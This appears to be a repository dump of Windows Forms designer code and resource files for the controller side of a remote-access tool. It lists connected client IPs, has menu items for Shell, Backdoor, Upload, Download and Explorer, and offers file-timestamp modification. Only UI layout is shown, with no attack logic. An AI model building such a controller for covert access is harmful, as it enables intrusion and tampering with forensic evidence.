95 | //
96 | // treeView1
97 | //
98 | this.treeView1.Location = new System.Drawing.Point(33, 52);
99 | this.treeView1.Name = "treeView1";
100 | this.treeView1.Size = new System.Drawing.Size(169, 432);
101 | this.treeView1.TabIndex = 5;
102 | //
103 | // listViewFile
104 | //
105 | this.listViewFile.Location = new System.Drawing.Point(217, 52);
106 | this.listViewFile.Name = "listViewFile";
107 | this.listViewFile.Size = new System.Drawing.Size(550, 432);
108 | this.listViewFile.TabIndex = 6;
109 | this.listViewFile.UseCompatibleStateImageBehavior = false;
110 | this.listViewFile.View = System.Windows.Forms.View.Details;
111 | this.listViewFile.ItemActivate += new System.EventHandler(this.listViewFile_ItemActivate);
112 | this.listViewFile.MouseClick += new System.Windows.Forms.MouseEventHandler(this.listViewFile_MouseClick);
113 | this.listViewFile.MouseDoubleClick += new System.Windows.Forms.MouseEventHandler(this.listViewFile_MouseDoubleClick);
114 | this.listViewFile.MouseDown += new System.Windows.Forms.MouseEventHandler(this.listViewFile_MouseDown);
115 | //
116 | // contextMenuStrip2
117 | //
118 | this.contextMenuStrip2.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
119 | this.pasteToolStripMenuItem});
120 | this.contextMenuStrip2.Name = "contextMenuStrip2";
121 | this.contextMenuStrip2.Size = new System.Drawing.Size(101, 26);
122 | this.contextMenuStrip2.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip2_Opening);
123 | //
124 | // pasteToolStripMenuItem
125 | //
126 | this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
127 | this.pasteToolStripMenuItem.Size = new System.Drawing.Size(100, 22);
128 | this.pasteToolStripMenuItem.Text = "Paste";
129 | this.pasteToolStripMenuItem.Click += new System.EventHandler(this.pasteToolStripMenuItem_Click);
130 | //
131 | // imageList1
132 | //
133 | this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream")));
134 | this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
135 | this.imageList1.Images.SetKeyName(0, "11.png");
136 | this.imageList1.Images.SetKeyName(1, "22.png");
137 | //
138 | // contextMenuStrip1
139 | //
140 | this.contextMenuStrip1.ImeMode = System.Windows.Forms.ImeMode.NoControl;
141 | this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
142 | this.deleteToolStripMenuItem,
143 | this.renameToolStripMenuItem,
144 | this.copyToolStripMenuItem,
145 | this.cutToolStripMenuItem,
146 | this.downloadToolStripMenuItem,
147 | this.modifyFiletTimeToolStripMenuItem});
148 | this.contextMenuStrip1.Name = "contextMenuStrip1";
149 | this.contextMenuStrip1.ShowImageMargin = false;
150 | this.contextMenuStrip1.Size = new System.Drawing.Size(142, 158);
151 | this.contextMenuStrip1.Closed += new System.Windows.Forms.ToolStripDropDownClosedEventHandler(this.contextMenuStrip1_Closed);
152 | this.contextMenuStrip1.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip1_Opening);
153 | //
154 | // deleteToolStripMenuItem
155 | //
156 | this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
157 | this.deleteToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
158 | this.deleteToolStripMenuItem.Text = "Delete";
159 | this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
160 | //
161 | // renameToolStripMenuItem
162 | //
163 | this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
164 | this.renameToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
165 | this.renameToolStripMenuItem.Text = "Rename";
166 | this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click);
167 | //
168 | // copyToolStripMenuItem
169 | //
170 | this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
171 | this.copyToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
172 | this.copyToolStripMenuItem.Text = "Copy";
173 | this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click);
174 | //
175 | // downloadToolStripMenuItem
176 | //
177 | this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
178 | this.downloadToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
179 | this.downloadToolStripMenuItem.Text = "Download";
180 | this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
181 | //
182 | // modifyFiletTimeToolStripMenuItem
183 | //
184 | this.modifyFiletTimeToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
185 | this.mtimeToolStripMenuItem,
186 | this.atimeToolStripMenuItem,
187 | this.ctimeToolStripMenuItem});
188 | this.modifyFiletTimeToolStripMenuItem.Name = "modifyFiletTimeToolStripMenuItem";
189 | this.modifyFiletTimeToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
190 | this.modifyFiletTimeToolStripMenuItem.Text = "Modify FiletTime";
191 | //
192 | // mtimeToolStripMenuItem
193 | //
194 | this.mtimeToolStripMenuItem.Name = "mtimeToolStripMenuItem";
195 | this.mtimeToolStripMenuItem.Size = new System.Drawing.Size(100, 22);
196 | this.mtimeToolStripMenuItem.Text = "mtime";
197 | this.mtimeToolStripMenuItem.Click += new System.EventHandler(this.mtimeToolStripMenuItem_Click);
198 | //
199 | // atimeToolStripMenuItem
200 | //
201 | this.atimeToolStripMenuItem.Name = "atimeToolStripMenuItem";
202 | this.atimeToolStripMenuItem.Size = new System.Drawing.Size(100, 22);
203 | this.atimeToolStripMenuItem.Text = "atime";
204 | //
205 | // ctimeToolStripMenuItem
206 | //
207 | this.ctimeToolStripMenuItem.Name = "ctimeToolStripMenuItem";
208 | this.ctimeToolStripMenuItem.Size = new System.Drawing.Size(100, 22);
209 | this.ctimeToolStripMenuItem.Text = "ctime";
210 | //
211 | // openFileDialog1
212 | //
213 | this.openFileDialog1.FileName = "openFileDialog1";
214 | //
215 | // cutToolStripMenuItem
216 | //
217 | this.cutToolStripMenuItem.Name = "cutToolStripMenuItem";
218 | this.cutToolStripMenuItem.Size = new System.Drawing.Size(141, 22);
219 | this.cutToolStripMenuItem.Text = "Cut";
220 | this.cutToolStripMenuItem.Click += new System.EventHandler(this.cutToolStripMenuItem_Click);
221 | //
222 | // ExplorerForm
223 | //
224 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
225 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
226 | this.ClientSize = new System.Drawing.Size(804, 507);
227 | this.Controls.Add(this.listViewFile);
228 | this.Controls.Add(this.treeView1);
229 | this.Controls.Add(this.label1);
230 | this.Controls.Add(this.textBox1);
231 | this.Controls.Add(this.btnUpload);
232 | this.Controls.Add(this.btnJump);
233 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
234 | this.MaximizeBox = false;
235 | this.Name = "ExplorerForm";
236 | this.Text = "ExplorerForm";
237 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ExplorerForm_FormClosing);
238 | this.Load += new System.EventHandler(this.ExplorerForm_Load);
239 | this.MouseDown += new System.Windows.Forms.MouseEventHandler(this.ExplorerForm_MouseDown);
240 | this.contextMenuStrip2.ResumeLayout(false);
241 | this.contextMenuStrip1.ResumeLayout(false);
242 | this.ResumeLayout(false);
243 | this.PerformLayout();
244 |
245 | }
246 |
247 | #endregion
248 |
249 | private System.Windows.Forms.Button btnJump;
250 | private System.Windows.Forms.Button btnUpload;
251 | private System.Windows.Forms.TextBox textBox1;
252 | private System.Windows.Forms.Label label1;
253 | private System.Windows.Forms.TreeView treeView1;
254 | private System.Windows.Forms.ListView listViewFile;
255 | private System.Windows.Forms.ImageList imageList1;
256 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
257 | private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
258 | private System.Windows.Forms.SaveFileDialog saveFileDialog1;
259 | private System.Windows.Forms.OpenFileDialog openFileDialog1;
260 | private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
261 | private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem;
262 | private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem;
263 | private System.Windows.Forms.ToolStripMenuItem modifyFiletTimeToolStripMenuItem;
264 | private System.Windows.Forms.ToolStripMenuItem mtimeToolStripMenuItem;
265 | private System.Windows.Forms.ToolStripMenuItem atimeToolStripMenuItem;
266 | private System.Windows.Forms.ToolStripMenuItem ctimeToolStripMenuItem;
267 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip2;
268 | private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem;
269 | private System.Windows.Forms.ToolStripMenuItem cutToolStripMenuItem;
270 | }
271 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/ExplorerForm.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 539, 17
122 |
123 |
124 | 17, 17
125 |
126 |
127 |
128 | AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
129 | LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
130 | ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACA
131 | CAAAAk1TRnQBSQFMAgEBAgEAAQQBAAEEAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
132 | AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
133 | AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
134 | AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
135 | AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm
136 | AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM
137 | AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA
138 | ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz
139 | AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ
140 | AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM
141 | AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA
142 | AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA
143 | AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ
144 | AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/
145 | AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA
146 | AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm
147 | ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ
148 | Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz
149 | AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA
150 | AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM
151 | AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM
152 | ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM
153 | Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA
154 | AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM
155 | AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ
156 | AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz
157 | AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm
158 | AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw
159 | AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0EAAfAOWQHwAwAB8QHw
160 | AgcC7wGSAe0D7CMADjgEAAHxAfACBwLvAZIB7QPsIwABeg1ZBAAB8QHwBxMC7CMADlkBGgMAAfEB8AIH
161 | Au8BkgHtA+wjAAFZCHoCmgRZAwAB8QHwBxMC7CMABHoCmgagAsMBmgMAAfEB8AIHAu8BkgHtA+wjAAig
162 | B8MDAAHxAfACBwLvAZIB7QPsIwABwwGaAqALwwMAAfEB8AQTAu0D7CMABMMGoAGaAnoFAAHxAfACBwLv
163 | AZIB7QPsIwAGwwagAXoFAAHxAfAEEwHsAe0DByMABsMMAAHxAfACBwLvAZIB7QLsJAAGwwwAAfEB8AIH
164 | Au8BkgHtAew3AAHxAfACBwLvAZIB7aUAAUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcA
165 | A/8BAAT/BgAB4AEDBAABgAEBAeABAwQAAYABAQHgAQMEAAGAAQAB4AEDBAABgAEAAeABAwQAAYABAAHg
166 | AQMEAAGAAQAB4AEDBAABgAEAAeABAwQAAYABAwHgAQMEAAGAAQMB4AEDBAABgQH/AeABBwQAAYEB/wHg
167 | AQ8EAAL/AeABHwQABP8EAAT/BAAL
168 |
169 |
170 |
171 | 122, 17
172 |
173 |
174 | 267, 17
175 |
176 |
177 | 395, 17
178 |
179 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Form1.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class Form1
4 | {
5 | ///
6 | /// 必需的设计器变量。
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// 清理所有正在使用的资源。
12 | ///
13 | /// 如果应释放托管资源,为 true;否则为 false。
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows 窗体设计器生成的代码
24 |
25 | ///
26 | /// 设计器支持所需的方法 - 不要
27 | /// 使用代码编辑器修改此方法的内容。
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.components = new System.ComponentModel.Container();
32 | this.dataGridView1 = new System.Windows.Forms.DataGridView();
33 | this.txtNo = new System.Windows.Forms.DataGridViewTextBoxColumn();
34 | this.ID = new System.Windows.Forms.DataGridViewTextBoxColumn();
35 | this.IP = new System.Windows.Forms.DataGridViewTextBoxColumn();
36 | this.Other = new System.Windows.Forms.DataGridViewTextBoxColumn();
37 | this.btnStart = new System.Windows.Forms.Button();
38 | this.btnStop = new System.Windows.Forms.Button();
39 | this.txtServerPort = new System.Windows.Forms.TextBox();
40 | this.label1 = new System.Windows.Forms.Label();
41 | this.label2 = new System.Windows.Forms.Label();
42 | this.txtMaxConnection = new System.Windows.Forms.TextBox();
43 | this.label3 = new System.Windows.Forms.Label();
44 | this.txtResPort = new System.Windows.Forms.TextBox();
45 | this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
46 | this.Offline_ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
47 | this.cmdshellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
48 | this.shell2ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
49 | this.backdoorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
50 | this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
51 | this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
52 | this.explorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
53 | this.timer1 = new System.Windows.Forms.Timer(this.components);
54 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit();
55 | this.contextMenuStrip1.SuspendLayout();
56 | this.SuspendLayout();
57 | //
58 | // dataGridView1
59 | //
60 | this.dataGridView1.AllowUserToAddRows = false;
61 | this.dataGridView1.AllowUserToDeleteRows = false;
62 | this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
63 | this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
64 | this.txtNo,
65 | this.ID,
66 | this.IP,
67 | this.Other});
68 | this.dataGridView1.Location = new System.Drawing.Point(42, 10);
69 | this.dataGridView1.Name = "dataGridView1";
70 | this.dataGridView1.ReadOnly = true;
71 | this.dataGridView1.RowTemplate.Height = 23;
72 | this.dataGridView1.Size = new System.Drawing.Size(520, 173);
73 | this.dataGridView1.TabIndex = 0;
74 | this.dataGridView1.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView1_CellMouseClick);
75 | this.dataGridView1.CellMouseDown += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView1_CellMouseDown);
76 | //
77 | // txtNo
78 | //
79 | this.txtNo.Frozen = true;
80 | this.txtNo.HeaderText = "序号";
81 | this.txtNo.Name = "txtNo";
82 | this.txtNo.ReadOnly = true;
83 | //
84 | // ID
85 | //
86 | this.ID.Frozen = true;
87 | this.ID.HeaderText = "ID";
88 | this.ID.Name = "ID";
89 | this.ID.ReadOnly = true;
90 | //
91 | // IP
92 | //
93 | this.IP.Frozen = true;
94 | this.IP.HeaderText = "IP地址";
95 | this.IP.Name = "IP";
96 | this.IP.ReadOnly = true;
97 | //
98 | // Other
99 | //
100 | this.Other.Frozen = true;
101 | this.Other.HeaderText = "其他信息";
102 | this.Other.Name = "Other";
103 | this.Other.ReadOnly = true;
104 | //
105 | // btnStart
106 | //
107 | this.btnStart.Location = new System.Drawing.Point(404, 226);
108 | this.btnStart.Name = "btnStart";
109 | this.btnStart.Size = new System.Drawing.Size(75, 23);
110 | this.btnStart.TabIndex = 1;
111 | this.btnStart.Text = "Start";
112 | this.btnStart.UseVisualStyleBackColor = true;
113 | this.btnStart.Click += new System.EventHandler(this.btnStart_Click);
114 | //
115 | // btnStop
116 | //
117 | this.btnStop.Enabled = false;
118 | this.btnStop.Location = new System.Drawing.Point(497, 226);
119 | this.btnStop.Name = "btnStop";
120 | this.btnStop.Size = new System.Drawing.Size(75, 23);
121 | this.btnStop.TabIndex = 2;
122 | this.btnStop.Text = "Stop";
123 | this.btnStop.TextAlign = System.Drawing.ContentAlignment.TopCenter;
124 | this.btnStop.UseVisualStyleBackColor = true;
125 | this.btnStop.Click += new System.EventHandler(this.btnStop_Click);
126 | //
127 | // txtServerPort
128 | //
129 | this.txtServerPort.Location = new System.Drawing.Point(83, 206);
130 | this.txtServerPort.Name = "txtServerPort";
131 | this.txtServerPort.Size = new System.Drawing.Size(100, 21);
132 | this.txtServerPort.TabIndex = 3;
133 | this.txtServerPort.Text = "8080";
134 | this.txtServerPort.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
135 | //
136 | // label1
137 | //
138 | this.label1.AutoSize = true;
139 | this.label1.Location = new System.Drawing.Point(12, 209);
140 | this.label1.Name = "label1";
141 | this.label1.Size = new System.Drawing.Size(65, 12);
142 | this.label1.TabIndex = 4;
143 | this.label1.Text = "服务端口:";
144 | //
145 | // label2
146 | //
147 | this.label2.AutoSize = true;
148 | this.label2.Location = new System.Drawing.Point(12, 237);
149 | this.label2.Name = "label2";
150 | this.label2.Size = new System.Drawing.Size(77, 12);
151 | this.label2.TabIndex = 5;
152 | this.label2.Text = "最大连接数:";
153 | //
154 | // txtMaxConnection
155 | //
156 | this.txtMaxConnection.Location = new System.Drawing.Point(83, 233);
157 | this.txtMaxConnection.Name = "txtMaxConnection";
158 | this.txtMaxConnection.Size = new System.Drawing.Size(100, 21);
159 | this.txtMaxConnection.TabIndex = 6;
160 | this.txtMaxConnection.Text = "100";
161 | //
162 | // label3
163 | //
164 | this.label3.AutoSize = true;
165 | this.label3.Location = new System.Drawing.Point(205, 209);
166 | this.label3.Name = "label3";
167 | this.label3.Size = new System.Drawing.Size(65, 12);
168 | this.label3.TabIndex = 7;
169 | this.label3.Text = "反馈端口:";
170 | //
171 | // txtResPort
172 | //
173 | this.txtResPort.Location = new System.Drawing.Point(276, 206);
174 | this.txtResPort.Name = "txtResPort";
175 | this.txtResPort.Size = new System.Drawing.Size(100, 21);
176 | this.txtResPort.TabIndex = 8;
177 | this.txtResPort.Text = "8081";
178 | //
179 | // contextMenuStrip1
180 | //
181 | this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
182 | this.Offline_ToolStripMenuItem,
183 | this.cmdshellToolStripMenuItem,
184 | this.shell2ToolStripMenuItem,
185 | this.backdoorToolStripMenuItem,
186 | this.uploadToolStripMenuItem,
187 | this.downloadToolStripMenuItem,
188 | this.explorerToolStripMenuItem});
189 | this.contextMenuStrip1.Name = "contextMenuStrip1";
190 | this.contextMenuStrip1.ShowImageMargin = false;
191 | this.contextMenuStrip1.Size = new System.Drawing.Size(128, 180);
192 | this.contextMenuStrip1.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip1_Opening);
193 | //
194 | // Offline_ToolStripMenuItem
195 | //
196 | this.Offline_ToolStripMenuItem.Name = "Offline_ToolStripMenuItem";
197 | this.Offline_ToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
198 | this.Offline_ToolStripMenuItem.Text = "Offline";
199 | this.Offline_ToolStripMenuItem.Click += new System.EventHandler(this.Offline_ToolStripMenuItem_Click);
200 | //
201 | // cmdshellToolStripMenuItem
202 | //
203 | this.cmdshellToolStripMenuItem.Name = "cmdshellToolStripMenuItem";
204 | this.cmdshellToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
205 | this.cmdshellToolStripMenuItem.Text = "Shell";
206 | this.cmdshellToolStripMenuItem.Click += new System.EventHandler(this.cmdshellToolStripMenuItem_Click);
207 | //
208 | // shell2ToolStripMenuItem
209 | //
210 | this.shell2ToolStripMenuItem.Name = "shell2ToolStripMenuItem";
211 | this.shell2ToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
212 | this.shell2ToolStripMenuItem.Text = "Shell2";
213 | this.shell2ToolStripMenuItem.Click += new System.EventHandler(this.shell2ToolStripMenuItem_Click);
214 | //
215 | // backdoorToolStripMenuItem
216 | //
217 | this.backdoorToolStripMenuItem.Name = "backdoorToolStripMenuItem";
218 | this.backdoorToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
219 | this.backdoorToolStripMenuItem.Text = "Backdoor";
220 | this.backdoorToolStripMenuItem.Click += new System.EventHandler(this.backdoorToolStripMenujItem_Click);
221 | //
222 | // uploadToolStripMenuItem
223 | //
224 | this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
225 | this.uploadToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
226 | this.uploadToolStripMenuItem.Text = "Upload";
227 | this.uploadToolStripMenuItem.Click += new System.EventHandler(this.uploadToolStripMenuItem_Click);
228 | //
229 | // downloadToolStripMenuItem
230 | //
231 | this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
232 | this.downloadToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
233 | this.downloadToolStripMenuItem.Text = "Download";
234 | this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
235 | //
236 | // explorerToolStripMenuItem
237 | //
238 | this.explorerToolStripMenuItem.Name = "explorerToolStripMenuItem";
239 | this.explorerToolStripMenuItem.Size = new System.Drawing.Size(127, 22);
240 | this.explorerToolStripMenuItem.Text = "Explorer";
241 | this.explorerToolStripMenuItem.Click += new System.EventHandler(this.explorerToolStripMenuItem_Click);
242 | //
243 | // timer1
244 | //
245 | this.timer1.Enabled = true;
246 | this.timer1.Interval = 5000;
247 | this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
248 | //
249 | // Form1
250 | //
251 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
252 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
253 | this.ClientSize = new System.Drawing.Size(610, 272);
254 | this.Controls.Add(this.txtResPort);
255 | this.Controls.Add(this.label3);
256 | this.Controls.Add(this.txtMaxConnection);
257 | this.Controls.Add(this.label2);
258 | this.Controls.Add(this.label1);
259 | this.Controls.Add(this.txtServerPort);
260 | this.Controls.Add(this.btnStop);
261 | this.Controls.Add(this.btnStart);
262 | this.Controls.Add(this.dataGridView1);
263 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
264 | this.MaximizeBox = false;
265 | this.Name = "Form1";
266 | this.Text = "控制端";
267 | this.Load += new System.EventHandler(this.Form1_Load);
268 | ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit();
269 | this.contextMenuStrip1.ResumeLayout(false);
270 | this.ResumeLayout(false);
271 | this.PerformLayout();
272 |
273 | }
274 |
275 | #endregion
276 |
277 | private System.Windows.Forms.DataGridView dataGridView1;
278 | private System.Windows.Forms.Button btnStart;
279 | private System.Windows.Forms.Button btnStop;
280 | private System.Windows.Forms.TextBox txtServerPort;
281 | private System.Windows.Forms.Label label1;
282 | private System.Windows.Forms.Label label2;
283 | private System.Windows.Forms.TextBox txtMaxConnection;
284 | private System.Windows.Forms.Label label3;
285 | private System.Windows.Forms.TextBox txtResPort;
286 | private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
287 | private System.Windows.Forms.ToolStripMenuItem Offline_ToolStripMenuItem;
288 | private System.Windows.Forms.DataGridViewTextBoxColumn txtNo;
289 | private System.Windows.Forms.DataGridViewTextBoxColumn ID;
290 | private System.Windows.Forms.DataGridViewTextBoxColumn IP;
291 | private System.Windows.Forms.DataGridViewTextBoxColumn Other;
292 | private System.Windows.Forms.ToolStripMenuItem cmdshellToolStripMenuItem;
293 | private System.Windows.Forms.ToolStripMenuItem backdoorToolStripMenuItem;
294 | private System.Windows.Forms.ToolStripMenuItem uploadToolStripMenuItem;
295 | private System.Windows.Forms.ToolStripMenuItem downloadToolStripMenuItem;
296 | private System.Windows.Forms.ToolStripMenuItem explorerToolStripMenuItem;
297 | private System.Windows.Forms.ToolStripMenuItem shell2ToolStripMenuItem;
298 | private System.Windows.Forms.Timer timer1;
299 |
300 |
301 | }
302 | }
303 |
304 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | True
122 |
123 |
